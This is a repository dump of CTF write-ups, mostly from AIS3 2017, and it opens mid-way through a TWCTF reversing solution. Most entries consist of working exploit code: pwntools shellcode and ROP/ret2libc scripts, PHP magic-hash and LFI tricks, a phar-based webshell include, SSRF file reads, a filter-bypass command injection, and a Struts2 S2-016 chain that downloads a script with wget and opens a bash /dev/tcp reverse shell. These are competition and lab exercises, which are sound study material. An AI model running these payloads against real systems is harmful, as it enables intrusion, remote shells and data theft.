argv[1], strlen(argv[1])); 21 | char *flag = (char *)uuencode(rot13(base64(input))); 22 | if ( !strcmp(flag, flag_encoded) ) 23 | puts("correct :)"); 24 | else 25 | puts("incorrect :("); 26 | return 0LL; 27 | } 28 | 29 | char *base64(char *str) { 30 | char table[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 31 | 32 | unsigned int len = strlen(str); 33 | char *new_buf = malloc(4 * len / 3 + 1); 34 | char *p = new_buf; 35 | int i; 36 | for ( i = 0; i < len - len % 3; i += 3 ) { 37 | unsigned int q = (str[i] << 16) + (str[i + 1] << 8) + str[i + 2] 38 | p[0] = table[(q >> 18) & 0x3F]; 39 | p[1] = table[(q >> 12) & 0x3F]; 40 | p[2] = table[(q >> 6) & 0x3F]; 41 | p[3] = table[str[i + 2] & 0x3F]; 42 | p += 4; 43 | } 44 | if ( len % 3 == 1 ) { 45 | p[0] = table[((unsigned int)(str[i] << 16) >> 18) & 0x3F]; 46 | p[1] = table[16 * str[i] & 0x3F]; 47 | p[2] = '='; 48 | p[3] = '='; 49 | p += 4; 50 | } 51 | else if ( len % 3 == 2 ) { 52 | unsigned int q = (str[i] << 16) + (str[i + 1] << 8); 53 | p[0] = table[(q >> 18) & 0x3F]; 54 | p[1] = table[(q >> 12) & 0x3F]; 55 | p[2] = table[(q >> 6) & 0x3F]; 56 | p[3] = '=' 57 | p += 4; 58 | } 59 | *p = 0; 60 | return new_buf; 61 | } 62 | 63 | char rot13(const char *str) { 64 | char *s = (char *)str; 65 | char *new_str = malloc(strlen(str) + 1); 66 | char *p = new_str; 67 | while ( *s ) { 68 | if ( *s <= '@' || *s > 'Z' ) { 69 | if ( *s <= '`' || *s > 'z' ) 70 | *p = *s; 71 | else 72 | *p = (*s - 'T') % 26 + 'a'; 73 | } 74 | else { 75 | *p = (*s - '4') % 26 + 'A'; 76 | } 77 | ++p; 78 | ++s; 79 | } 80 | *p = 0; 81 | return new_str; 82 | } 83 | 84 | char *uuencode(char *str) { 85 | char *new_str = malloc(4 * strlen(str) / 3 + 1); 86 | char *s = str; 87 | char *p = new_str; 88 | unsigned int i; 89 | for ( i = strlen(str); i > 45; i -= 45 ) 90 | { 91 | p[0] = 'M'; 92 | p++; 93 | for ( int j = 0; j <= 44; j += 3 ) 94 | { 95 | if ( s[0] >> 2 ) 96 | p[0] = (s[0] >> 2) + 32; 97 | else 98 | p[0] = 32; 99 | if ( 16 * s[0] & 0x30 ) 100 | p[1] = (16 * s[0] & 0x30) + 32 | (s[1] >> 4); 101 | else 102 | p[1] = 32 | (s[1] >> 4); 103 | if ( 4 * s[1] & 0x3C ) 104 | p[2] = ((4 * s[1] & 0x3C) + 32) | (s[2] >> 6); 105 | else 106 | p[2] = 32 | (s[2] >> 6); 107 | if ( s[2] & 0x3F ) 108 | p[3] = (s[2] & 0x3F) + 32; 109 | else 110 | p[3] = 32; 111 | s += 3; 112 | p += 4; 113 | } 114 | } 115 | if ( i ) 116 | *p = (i & 0x3F) + 32; 117 | else 118 | *p = 32; 119 | p++; 120 | for (int j = 0; j < i; j += 3 ) 121 | { 122 | if ( s[0] >> 2 ) 123 | p[0] = (s[0] >> 2) + 32; 124 | else 125 | p[0] = 32; 126 | if ( 16 * s[0] & 0x30 ) 127 | p[1] = ((16 * s[0] & 0x30) + 32) | (s[1] >> 4); 128 | else 129 | p[1] = 32 | (s[1] >> 4); 130 | if ( 4 * s[1] & 0x3C ) 131 | p[2] = ((4 * s[1] & 0x3C) + 32) | (s[2] >> 6); 132 | else 133 | p[2] = 32 | (s[2] >> 6); 134 | if ( s[2] & 0x3F ) 135 | p[3] = (s[2] & 0x3F) + 32; 136 | else 137 | p[3] = 32; 138 | s += 3; 139 | p += 4; 140 | } 141 | *p = 0; 142 | return new_str; 143 | } 144 | ``` 145 | 146 | ### Flag 147 | ``` 148 | TWCTF{base64_rot13_uu} 149 | ``` 150 | -------------------------------------------------------------------------------- /ais3-2017/README.md: -------------------------------------------------------------------------------- 1 | ## AIS3 2017 2 | 3 | * [..](./..) 4 | ### [pre-exam](./pre-exam) 5 | * [web1](./pre-exam/web1.md) 6 | * [web2](./pre-exam/web2.md) 7 | * [web3](./pre-exam/web3.md) 8 | * [web4](./pre-exam/web4.md) 9 | * [reverse1](./pre-exam/reverse1.md) 10 | * [crypto1](./pre-exam/crypto1.md) 11 | * [crypto3](./pre-exam/crypto3.md) 12 | * [misc2](./pre-exam/misc2.md) 13 | * [misc4](./pre-exam/misc4.md) 14 | 15 | ### [Workshops](./workshop) 16 | #### Binary Exploitation 17 | * [Lab1](./workshop/binary1.md) 18 | * [Lab2](./workshop/binary2.md) 19 | * [Lab3](./workshop/binary3.md) 20 | * [Lab4](./workshop/binary4.md) 21 | * [Lab5](./workshop/binary5.md) 22 | * [Bonus](./workshop/binary-bonus.md) 23 | #### SSRF 24 | * [File Access](./workshop/ssrf-file-access.md) 25 | * [XXE](./workshop/ssrf-xxe.md) 26 | * [Struts2](./workshop/ssrf-struts2.md) 27 | 28 | ### [final-ctf](./final-ctf) 29 | * [misc1](./final-ctf/misc1.md) 30 | * [pwn1](./final-ctf/pwn1.md) 31 | * [pwn2](./final-ctf/pwn2.md) 32 | * [reverse1](./final-ctf/reverse1.md) 33 | -------------------------------------------------------------------------------- /ais3-2017/final-ctf/README.md: -------------------------------------------------------------------------------- 1 | ## AIS3 2017 2 | ### final-ctf 3 | 4 | * [..](./..) 5 | * [misc1](./misc1.md) 6 | * [pwn1](./pwn1.md) 7 | * [pwn2](./pwn2.md) 8 | * [reverse1](./reverse1.md) 9 | -------------------------------------------------------------------------------- /ais3-2017/final-ctf/misc1.md: -------------------------------------------------------------------------------- 1 | ## misc 1 2 | `file hello.exe`得知binary是aarch64的ELF,以qemu-aarch64執行即可得到flag 3 | -------------------------------------------------------------------------------- /ais3-2017/final-ctf/pwn1.md: -------------------------------------------------------------------------------- 1 | ## pwn1 2 | 和pre-exam雷同的shellcode challenge,sandbox環境限制`read()`, `write()`, `open()`,將flag開啟後輸出即可。 3 | 4 | ### exploit 5 | ```python 6 | #!/usr/bin/env python3 7 | from pwn import * 8 | 9 | context.update(os='linux', arch='amd64') 10 | 11 | s = '' 12 | s += shellcraft.pushstr('/home/pwn1/flag') 13 | s += shellcraft.open('rsp', constants.O_RDONLY, 0) 14 | s += shellcraft.mov('r12', 'rax') 15 | s += 'here:' 16 | s += shellcraft.read('r12', 'rsp', 41) 17 | s += shellcraft.write(1, 'rsp', 'rax') 18 | s += 'jmp here' 19 | 20 | r = remote('10.13.2.43', 10739) 21 | 22 | r.sendline(asm(s)) 23 | r.interactive() 24 | ``` 25 | -------------------------------------------------------------------------------- /ais3-2017/final-ctf/pwn2.md: -------------------------------------------------------------------------------- 1 | ## pwn2 2 | 本題可以buffer overflow進行ROP攻擊,`rax`可控,`/bin/sh`必須包含在payload中放到stack上,而`rsp`只能傳遞到`rsi`,因此先試著用`execveat(0, '/bin/sh, 0, 0, 0)`呼叫。 3 | 4 | 但嘗試的過程中發現`execveat()`的第5個參數(flag)需為0,在`r8`,且`r8被設為字串不可控制,因此放棄此作法。 5 | 6 | 若要`exec()`,則`rsp`必須傳遞到`rdi`,但並沒有`mov rdi, rsi`的gadget可用,最後是在第一次payload中先`return`回`read_input`中的`mov rdx, rsi`將`rsi`傳遞至`rdx`,讀取輸入(送空白),再跳回到`main`開頭,`push rdx`然後一路回到`read_input`,此時stack如下: 7 | 8 | ``` 9 | -------stack frame---------|--payload2-- 10 | rdx -- main (&/bin/sh)| ---------stop here 11 | rsi | pop rdi 12 | rdi | SYS_exec 13 | 0x4000a9 -- magic | pop rax (any) 14 | rbp ---> | ... 15 | 0x4000dc -- read_input | ... 16 | 17 | rsp -> rsi -> rdx -> stack -> rdi 18 | ``` 19 | 再次buffer overflow,蓋掉部份目前的frame,使其從magic return時跳至gadget,而先任意pop一個暫存器(exploit中直接在此時將`rax`設為`exec()`的syscall),接著再`ret`回`main`尾部的`pop rdi`,此時原本的`rdx`(`rsp`)就會傳遞到`rdi`,之後再將`rsi`, `rdx`都設定為`0`,然後跳至syscall即可。 20 | 21 | 注意payload2會蓋掉原本payload1中的`/bin/sh`,需要計算好相對位置再包在payload2裏面送。 22 | 23 | ### exploit 24 | ```python 25 | #!/usr/bin/env python3 26 | from pwn import * 27 | 28 | context.update(arch='amd64', os='linux') 29 | binary = ELF('start_revenge') 30 | rop = ROP(binary) 31 | 32 | payload = b'/bin/sh\x00' 33 | payload += cyclic(56 - len(payload)).encode() 34 | payload += p64(0x400116) # rsp -> rdx 35 | payload += p64(0x4000a1) # push rdx -> #2ndpayload 36 | payload += p64(0) # rsi = 0 37 | payload += p64(0) # rdx = 0 38 | payload += flat(rop.rax.address, constants.SYS_execve) 39 | payload += p64(0x4000bf) # execve 40 | 41 | payload2 = b'' 42 | payload2 += cyclic(16 - len(payload2)).encode() 43 | payload2 += b'/bin/sh\x00' 44 | payload2 += cyclic(56 - len(payload2)).encode() 45 | payload2 += flat(rop.rax.address, constants.SYS_execve) 46 | payload2 += p64(0x4000a9) # pop rdi; pop rsi; pop rdx; 47 | 48 | r = remote('10.13.2.43', 20739) 49 | r.send(payload) 50 | r.send(b'') 51 | r.send(payload2) 52 | r.interactive() 53 | ``` 54 | -------------------------------------------------------------------------------- /ais3-2017/final-ctf/reverse1.md: -------------------------------------------------------------------------------- 1 | ## reverse 1 2 | 提示是misc1,因此代表要寫AArc64的shellcode,將pwn1的shellcode改成AArch64後送出,會發現提示flag是link,要用`readlink()`這個syscall 3 | ```python 4 | #!/usr/bin/env python3 5 | from pwn import * 6 | 7 | context.update(os='linux', arch='aarch64') 8 | 9 | s = '' 10 | s += shellcraft.pushstr('/home/rev1/flag\x00\x00\x00') 11 | s += shellcraft.open('sp', constants.O_RDONLY, 0) 12 | s += shellcraft.read('x0', 'sp', 120) 13 | s += shellcraft.write(1, 'sp', 'x0') 14 | 15 | r = remote('10.13.2.44', 10732) 16 | r.sendline(asm(s)) 17 | r.interactive() 18 | ``` 19 | 改成`readlink()`完`write()`出buffer即可 20 | 21 | ```python 22 | #!/usr/bin/env python3 23 | from pwn import * 24 | 25 | context.update(os='linux', arch='aarch64') 26 | 27 | s = '' 28 | s += shellcraft.pushstr('/home/rev1/flag\x00') 29 | s += shellcraft.readlink('sp', 'sp', 100) 30 | s += shellcraft.write(1, 'sp', 120) 31 | 32 | r = remote('10.13.2.44', 10732) 33 | r.sendline(asm(s)) 34 | r.interactive() 35 | ``` 36 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/README.md: -------------------------------------------------------------------------------- 1 | ## AIS3 2017 2 | ### pre-exam 3 | 4 | * [..](./..) 5 | * [web1](./web1.md) 6 | * [web2](./web2.md) 7 | * [web3](./web3.md) 8 | * [web4](./web4.md) 9 | * [reverse1](./reverse1.md) 10 | * [crypto1](./crypto1.md) 11 | * [crypto3](./crypto3.md) 12 | * [misc2](./misc2.md) 13 | * [misc4](./misc4.md) 14 | 15 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/crypto1.md: -------------------------------------------------------------------------------- 1 | ## crypto1 2 | ### sol 3 | 程式給了flag做xor後的結果,因此一樣用xor inverse就可以拿到flag 4 | ```c 5 | #include 6 | int main() { 7 | int flags[10] = { 964600246 , 1376627084 , 1208859320 , 1482862807 , 1326295511 , 1181531558 , 2003814564 }; 8 | int output[20] = {}; 9 | char flag[20] = "AIS3"; 10 | for(int i = 0; i < 7; ++i) { 11 | output[i] = flags[i] ^ (flags[0] ^ *(int *)flag); 12 | } 13 | printf("%s", (char *)output); 14 | } 15 | ``` 16 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/crypto3.md: -------------------------------------------------------------------------------- 1 | ### crypto3 2 | #### sol 3 | ```php 4 | if (isset($_POST["username"]) and isset($_POST["password"])) 5 | { 6 | $username = (string)$_POST["username"]; 7 | $password = (string)$_POST["password"]; 8 | 9 | $h1 = sha1($username); 10 | $h2 = sha1($password); 11 | 12 | if ($username == $password) 13 | { 14 | $msg = "Your password can not be your username."; 15 | } 16 | else if ($h1 === $h2) 17 | { 18 | $msg = "Flag1: $flag1"; 19 | 20 | if (strpos($username, "Snoopy_do_not_like_cats_hahahaha") !== false and 21 | strpos($password, "ddaa_is_PHD") !== false and 22 | startsWith($h1, "f00d")) 23 | { 24 | $msg .= "
"; 25 | $msg .= "Flag2: $flag2"; 26 | } 27 | } 28 | else 29 | { 30 | $msg = "Invalid password."; 31 | } 32 | ``` 33 | 這次是使用===比較了,所以0e的招沒用,所以要真的找sha1的collision,而之前很多新聞都有報導過,http://shattered.io/ 就能找到兩個會collide的pdf,作為參數送POST就能成功看到flag1了 34 | ```python 35 | import requests 36 | import urllib2 37 | 38 | user = urllib2.urlopen("http://shattered.io/static/shattered-1.pdf").read()[:500]; 39 | pass = urllib2.urlopen("http://shattered.io/static/shattered-2.pdf").read()[:500]; 40 | r = requests.post('https://quiz.ais3.org:32670/index.php', data={'username': user, 'password': pass}); 41 | 42 | print r.text 43 | ``` 44 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/misc2.md: -------------------------------------------------------------------------------- 1 | ## misc2 2 | ### sol 3 | 4 | ```html 5 | HTTP Header 6 | HereItIs : Uzc0RzMyLnBocA== 7 | ``` 8 | 隱藏在source的圖片是幌子,可以從header中發現明顯是base64的字串,decode後得到一個php, 9 | https://quiz.ais3.org:31532/S74G32.php 10 | 接著開啟後裡面有圖片,包含了flag https://quiz.ais3.org:31532/pikapika.png 11 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/misc4.md: -------------------------------------------------------------------------------- 1 | ## misc4 2 | ### sol 3 | 連上ssh後可以發現三個file 4 | ``` 5 | misc4@quiz2:~$ ls -l 6 | total 20 7 | -r--r----- 1 root misc4x 32 Jun 24 16:01 flag 8 | -r-xr-s--x 1 root misc4x 9160 Jun 24 17:02 shell 9 | -r--r--r-- 1 root misc4x 686 Jun 24 17:02 shell.c 10 | ``` 11 | 而shell有setgid,source code為: 12 | ```c 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | int filter(char* cmd){ 19 | int r=0; 20 | r += strstr(cmd, "=")!=0; 21 | r += strstr(cmd, "PATH")!=0; 22 | r += strstr(cmd, "export")!=0; 23 | r += strstr(cmd, "/")!=0; 24 | r += strstr(cmd, "\\")!=0; 25 | r += strstr(cmd, "`")!=0; 26 | r += strstr(cmd, "flag")!=0; 27 | return r; 28 | } 29 | 30 | extern char** environ; 31 | void delete_env(){ 32 | char** p; 33 | for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); 34 | } 35 | 36 | int main(int argc, char* argv[], char** envp){ 37 | setregid(getegid(), -1); 38 | if(argc < 2) { return 0; } 39 | delete_env(); 40 | putenv("PATH=/this_is_not_a_valid_path"); 41 | if(filter(argv[1])) return 0; 42 | printf("%s\n", argv[1]); 43 | system( argv[1] ); 44 | return 0; 45 | } 46 | ``` 47 | 執行後會先把environment全部清除,接著設定一個invalid的PATH,而傳給shell的參數中不能包含`=`, `PATH`,`EXPORT`, `/`, `\\`, `flag`等字樣,推測是要利用shell去cat出flag的內容。 48 | http://www.jianshu.com/p/c70e50710804 裡面末尾提供了一種方法,主要是利用pwd可以印出當前目錄,並且利用*來繞開flag名稱的限制,因此最後解法為 49 | ```shell 50 | $ mkdir -p /tmp/test 51 | $ cd /tmp/test 52 | $ mkdir c 53 | $ ln -s /bin/cat . 54 | $ cd c 55 | $ ln -s ~/flag . 56 | $ ~/shell "\$(pwd)at f*" 57 | ``` 58 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/reverse1.md: -------------------------------------------------------------------------------- 1 | ## reverse1 2 | ### sol 3 | 題目是Windows GUI program,但是flag直接輸出到stdout,所以從shell幫他做rediretion即可 4 | ``` 5 | rev1.exe > stdout.txt 6 | ``` 7 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/web1.md: -------------------------------------------------------------------------------- 1 | ## web1 2 | ### sol 3 | 直接開啟會被redirect,用curl送request就好 4 | ``` 5 | $ curl https://quiz.ais3.org:42351 6 | ``` 7 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/web2.md: -------------------------------------------------------------------------------- 1 | ## web2 2 | ### sol 3 | ```php 4 | ... 5 | $db = array( 6 | array("username" => "sena", "password" => "0e959146861158620914280512624073"), 7 | ); 8 | ... 9 | 10 | if ($username == $row["username"] and md5($password) == $row["password"]) 11 | { 12 | $msg = "Successful login as $username. Here's your flag: ".$flag; 13 | $success = true; 14 | break; 15 | } 16 | ``` 17 | 從source可以看出hash是用`==`做比較,而PHP的`==`有個廣為人知的漏洞,只要string以`0e`開頭會被轉換為浮點數0進行比較,而DB當中sena正好是以0e開頭,隨便找個hash是0e開頭的string丟進password即可。 18 | e.g. 19 | ``` 20 | username : sena 21 | pass : QNKCDZO 22 | ``` 23 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/web3.md: -------------------------------------------------------------------------------- 1 | ## web3 2 | ### sol 3 | ref : https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/ 4 | 5 | 可以使用php://filter進行local file inclusion 6 | 7 | 用 https://quiz.ais3.org:23545/?p=php://filter/convert.base64-encode/resource=index 8 | 請求,再將內容用base64 decode即可看到index.php的source,裡面包含flag 9 | -------------------------------------------------------------------------------- /ais3-2017/pre-exam/web4.md: -------------------------------------------------------------------------------- 1 | ## web4 2 | ### sol 3 | 從第三題的index的source code中可以看到以下幾個部分 4 | ```php 5 | $blacklist = ["http", "ftp", "data", "zip"]; 6 | foreach ($blacklist as &$s) 7 | stream_wrapper_unregister($s); 8 | ... 9 | $pages = array( 10 | // disabled 11 | // "uploaddddddd" => "Uploads", 12 | "about" => "About" 13 | ); 14 | ... 15 | 16 | 20 | ``` 21 | 可以發現 https://quiz.ais3.org:23545/?p=uploaddddddd ,先猜要上傳webshell,而再用filter看此頁的source code 22 | 23 | ```php 24 | function RandomString() 25 | { 26 | $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 27 | $randstring = ""; 28 | for ($i = 0; $i < 9; $i++) { 29 | $randstring .= $characters[rand(0, strlen($characters)-1)]; 30 | } 31 | return $randstring; 32 | } 33 | 34 | ... 35 | if(isset($_FILES["fileToUpload"])) 36 | { 37 | $filename = basename($_FILES['fileToUpload']['name']); 38 | $imageFileType = pathinfo($filename, PATHINFO_EXTENSION); 39 | if($imageFileType == "jpg") 40 | { 41 | $uploadOk = 1; 42 | } 43 | ... 44 | if($uploadOk) 45 | { 46 | $ip = $_SERVER["REMOTE_ADDR"]; 47 | 48 | $dir = "$target_dir/$ip"; 49 | if(!is_dir($dir)) 50 | mkdir($dir); 51 | 52 | $newid = RandomString(); 53 | $newpath = "$dir/$newid.jpg"; 54 | if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath)) 55 | { 56 | header("Location: $newpath"); 57 | exit(); 58 | } 59 | ... 60 | } 61 | ?> 62 | ``` 63 | 上傳是用whitelist檢查,extension必須為jpg,而且上傳後會重新命名為`[0-9a-zA-Z]{9}.jpg`,因此在local端取什麼filename都不影響,而試過基本的jpg沒辦法直接執行,因此要透過`index.php`的`include`將webshell include進去。 64 | 65 | 由於會強制補上`.php`,且php版本較新,舊有的NULL byte injection試過也行不通,最後試了幾種stream wrapper,發現blacklist獨漏了[phar](http://php.net/manual/en/phar.using.stream.php),將shell.php(include最後會補上.php,因此副檔名要是php)壓縮為zip之後上傳,請求 66 | ``` 67 | https://quiz.ais3.org:23545/?p=phar://[your_ip]/[random].jpg/shell 68 | ``` 69 | 可以發現成功include了shell,接著加上要執行的指令參數 70 | ``` 71 | https://quiz.ais3.org:23545/?cmd=ls&p=phar://[your_ip]/[random].jpg/shell 72 | ``` 73 | 就可以看到flag的檔案了 74 | ``` 75 | about.php 76 | css 77 | header.php 78 | home.php 79 | images 80 | img 81 | index.php 82 | js 83 | the_flag2_which_the_filename_you_can_not_guess_without_getting_the_shellllllll1l 84 | uploaddddddd.php 85 | ``` 86 | 最後直接從browser開啟 https://quiz.ais3.org:23545/the_flag2_which_the_filename_you_can_not_guess_without_getting_the_shellllllll1l 就能看到flag了 87 | -------------------------------------------------------------------------------- /ais3-2017/workshop/README.md: -------------------------------------------------------------------------------- 1 | ## AIS3 2017 2 | ### Workshops 3 | * [..](./..) 4 | #### Binary Exploitation 5 | * [Lab1](./binary1.md) 6 | * [Lab2](./binary2.md) 7 | * [Lab3](./binary3.md) 8 | * [Lab4](./binary4.md) 9 | * [Lab5](./binary5.md) 10 | * [Bonus](./binary-bonus.md) 11 | #### SSRF 12 | * [File Access](./ssrf-file-access.md) 13 | * [XXE](./ssrf-xxe.md) 14 | * [Struts2](./ssrf-struts2.md) 15 | -------------------------------------------------------------------------------- /ais3-2017/workshop/binary-bonus.md: -------------------------------------------------------------------------------- 1 | ### binary-bonus 2 | 3 | 本題僅能控`rax` (syscall 0 return 1 ~ 0x148)以及`rsi`,查syscall表查到唯一可用為`execveat(0, "/bin/sh", 0, 0, 0)`,故buffer overflow時先寫入`"/bin/sh"`及調整`rax`為`322`,接著在`ret`的位置寫入`0x4000ed`(不能直接跳到syscall,要先將`rdx`清空) 4 | 5 | #### exploit 6 | ```python 7 | #!/usr/bin/env python3 8 | from pwn import * 9 | 10 | context.update(arch='amd64', os='linux') 11 | 12 | payload = b'/bin/sh\x00' 13 | payload += cyclic(296 - len(payload)).encode() 14 | payload += p64(0x4000ED) # xor rdx, rdx; syscall 15 | payload += cyclic(321 - len(payload)).encode() 16 | 17 | r = remote('pwnhub.tw', 55688) 18 | r.sendline(payload) 19 | r.interactive() 20 | ``` 21 | -------------------------------------------------------------------------------- /ais3-2017/workshop/binary1.md: -------------------------------------------------------------------------------- 1 | ## binary1 2 | 使用gdb避開get_flag中的jne即可 3 | -------------------------------------------------------------------------------- /ais3-2017/workshop/binary2.md: -------------------------------------------------------------------------------- 1 | ## binary2 2 | binary先`read()` 50 bytes到.data的name中,再`gets()`到stack上,因此先在`name`寫入shellcode,再以buffer overflow將return address複寫為`&name`。 3 | ```python 4 | #!/usr/bin/env python3 5 | from pwn import * 6 | 7 | context.update(os='linux', arch='amd64') 8 | 9 | payload = b'' 10 | payload += asm(shellcraft.sh()) # shellcode 11 | payload += cyclic(50 - len(payload)).encode() # padding since will read 50 bytes 12 | payload += cyclic(40).encode() + p64(0x601080) # overwrite return address 13 | 14 | r = remote('pwnhub.tw', 54321) 15 | r.sendline(payload) 16 | r.interactive() 17 | ``` 18 | -------------------------------------------------------------------------------- /ais3-2017/workshop/binary3.md: -------------------------------------------------------------------------------- 1 | ## Lab 3 2 | 此題利用題目提供的功能leak出`.got`中libc function的位置,在以該位置算出libc相對ofsset來造成return to libc attack,先找出`puts`在`.got`的位置 3 | ``` 4 | $ objdump -R r3t2lib | grep puts 5 | 0000000000601018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 6 | ``` 7 | 接著找出`puts`, `system`, `"/bin/sh"`在libc中的offset 8 | ``` 9 | $ objdump -T libc.so.6 | grep puts 10 | $ objdump -T libc.so.6 | grep system 11 | $ strings -tx libc.so.6 | grep /bin/sh 12 | ``` 13 | 最後再找到一個寫入rdi的gadget 14 | ``` 15 | $ ROPgadget --binary r3t2lib | grep "pop rdi" 16 | ``` 17 | 18 | ### exploit 19 | ```python 20 | #!/usr/bin/env python3 21 | from pwn import * 22 | import re 23 | 24 | context.update(os='linux', arch='amd64') 25 | libc = ELF("libc.so.6") 26 | binary = ELF("r3t2lib") 27 | puts_got = binary.got[b'puts'] 28 | 29 | r = remote('pwnhub.tw', 8088) 30 | r.sendline(format(puts_got, 'x')) 31 | puts_addr = r.recvline_contains("0x") 32 | puts_addr = int(re.search(b'0x[0-9A-Fa-f]+', puts_addr).group(0), 16) 33 | 34 | puts_offset = libc.symbols[b'puts'] 35 | libc_base = puts_addr - puts_offset 36 | system_offset = libc.symbols[b'system'] 37 | sh_offset = next(libc.search("/bin/sh\x00")) 38 | 39 | payload = cyclic(280).encode() 40 | payload += p64(ROP(binary).rdi.address) # jmp to rdi gadget 41 | payload += p64(libc_base + sh_offset) # rdi = "/bin/sh" 42 | payload += p64(libc_base + system_offset) # system 43 | 44 | r.sendline(payload) 45 | r.interactive() 46 | ``` 47 | -------------------------------------------------------------------------------- /ais3-2017/workshop/binary4.md: -------------------------------------------------------------------------------- 1 | ## binary4 2 | 題目開啟DEP/NX,使用ROP將`"/bin/sh"`寫入`.bss`,之後執行`execve()`,使用ROPgadget找出gadgets然後組合。 3 | 4 | ### exploit 5 | ```python 6 | #!/usr/bin/env python3 7 | from pwn import * 8 | 9 | context.update(arch='amd64', os='linux') 10 | 11 | binary = ELF('simplerop_revenge') 12 | rop = ROP(binary) 13 | 14 | payload = cyclic(40).encode() 15 | payload += flat(rop.rax.address, int(constants.SYS_execve), 0, 0) # rax = SYS_execve, rdx = rbx = 0 16 | payload += flat(rop.rsi.address, int.from_bytes(b'/bin/sh\x00', byteorder='little')) # rsi = "/bin/sh\x00" 17 | payload += flat(rop.rdi.address, binary.bss()) # rdi = bss 18 | payload += p64(0x47a502) # *bss = rdi gadget 19 | payload += flat(rop.rsi.address, 0) # rsi = 0 20 | payload += p64(rop.find_gadget(['syscall', 'ret']).address) # jmp to syscall 21 | 22 | r = remote('pwnhub.tw', 8361) 23 | r.sendline(payload) 24 | r.interactive() 25 | ``` 26 | -------------------------------------------------------------------------------- /ais3-2017/workshop/binary5.md: -------------------------------------------------------------------------------- 1 | ## binary5 2 | 3 | 題目必須利用ROP bypass ASLR,先ROP ret到`puts@plt`,然後利用puts leaks出`puts@GOT`的位址,接著跳回`main()`,再次buffer overflow執行`system('/bin/sh')` 4 | 5 | ### exploit 6 | ```python 7 | #!/usr/bin/env python3 8 | from pwn import * 9 | import time 10 | 11 | context.update(arch='amd64', os='linux') 12 | 13 | binary = ELF('ret2plt') 14 | libc = ELF('libc.so.6') 15 | rop = ROP(binary) 16 | 17 | payload1 = cyclic(40).encode() 18 | payload1 += flat(rop.rdi.address, binary.got[b'puts']) # rdi = puts@got 19 | payload1 += p64(binary.plt[b'puts']) # ret to puts@plt 20 | payload1 += p64(binary.symbols[b'main']) # ret to main() 21 | 22 | r = remote('pwnhub.tw', 56026) 23 | r.sendline(payload1) 24 | 25 | r.recvuntil("boom !\n") 26 | puts_addr = r.recvuntil("\n", drop=True) 27 | puts_addr = int.from_bytes(puts_addr, byteorder='little') 28 | base = puts_addr - libc.symbols[b'puts'] 29 | 30 | sh_addr = base + next(libc.search('/bin/sh\x00')) 31 | system_addr = base + libc.symbols[b'system'] 32 | 33 | payload2 = cyclic(40).encode() 34 | payload2 += flat(rop.rdi.address, sh_addr) # rdi = "/bin/sh" 35 | payload2 += p64(system_addr) # ret to system() 36 | r.sendline(payload2) 37 | r.interactive() 38 | ``` 39 | -------------------------------------------------------------------------------- /ais3-2017/workshop/ssrf-file-access.md: -------------------------------------------------------------------------------- 1 | ## SSRF Flie Access 2 | http://ssrf.orange.tw:81/ 存在URL解析漏洞,可以使用`file://`協議 3 | ### 方法1 4 | `file:///etc/passwd`發現使用者nginx 5 | 6 | `file:///etc/nginx/nginx.conf`查看conf 7 | 8 | `file:///etc/nginx/sites-enabled/default.conf`找到web root 9 | 10 | `file:///www/index.php`取得flag 11 | ### 方法2 12 | `file:///proc/self/cwd/index.php` 13 | ### 方法3 14 | `file://index.php` 15 | -------------------------------------------------------------------------------- /ais3-2017/workshop/ssrf-struts2.md: -------------------------------------------------------------------------------- 1 | ## Struts2 2 | 利用S2-016從 http://ssrf.orange.tw:81/ 攻擊 http://172.20.0.6:8080/ 的Apache Struts2 3 | server,使用bash做reverse shell,將reverse shell command包在script內,從server以wget下載script再執行,encode時要encode兩次 4 | 5 | ### Target 6 | POST: `url=http://172.20.0.6:8080/index.action?redirect:$%7B(new+java.lang.ProcessBuilder(new+java.lang.String%5B%5D%7B'wget','http://my.http.server/revsh.sh'%7D)).start()%7D` 7 | 8 | POST : `url=http://172.20.0.6:8080/index.action?redirect:$%7B(new+java.lang.ProcessBuilder(new+java.lang.String%5B%5D%7B'chmod','777','revsh.sh'%7D)).start()%7D` 9 | 10 | POST : `url=http://172.20.0.6:8080/index.action?redirect:$%7B(new+java.lang.ProcessBuilder(new+java.lang.String%5B%5D%7B'./revsh.sh'%7D)).start()%7D` 11 | #### Server 12 | ``` 13 | $ nc -lvp 5678 14 | ``` 15 | #### Script 16 | ```sh 17 | #!/bin/bash 18 | bash -i >& /dev/tcp/SERVER_IP/5678 0>&1 19 | ``` 20 | -------------------------------------------------------------------------------- /ais3-2017/workshop/ssrf-xxe.md: -------------------------------------------------------------------------------- 1 | ## XXE 2 | 存在XXE漏洞 3 | ```xml 4 | ]> 6 | 7 | &bar; 8 | 9 | ``` 10 | -------------------------------------------------------------------------------- /ais3-2018/README.md: -------------------------------------------------------------------------------- 1 | ## AIS3 2017 2 | 3 | ### [pre-exam](./pre-exam) 4 | * [..](./..) 5 | 6 | #### web 7 | * [warmup (1)](./pre-exam/web1.md) 8 | * [hidden (2)](./pre-exam/web2.md) 9 | * [sushi (3)](./pre-exam/web3.md) 10 | 11 | #### reverse 12 | * [find (1)](./pre-exam/rev1.md) 13 | * [secret (2)](./pre-exam/rev2.md) 14 | * [crackme (3)](./pre-exam/rev3.md) 15 | * [calc (4)](./pre-exam/rev4.md) 16 | 17 | #### pwn 18 | * [mail (1)](./pre-exam/pwn1.md) 19 | * [darling (2)](./pre-exam/pwn2.md) 20 | * [justfmt (3)](./pre-exam/pwn3.md) 21 | * [Magic_World (4)](./pre-exam/pwn4.md) 22 | 23 | #### misc 24 | * [welcome 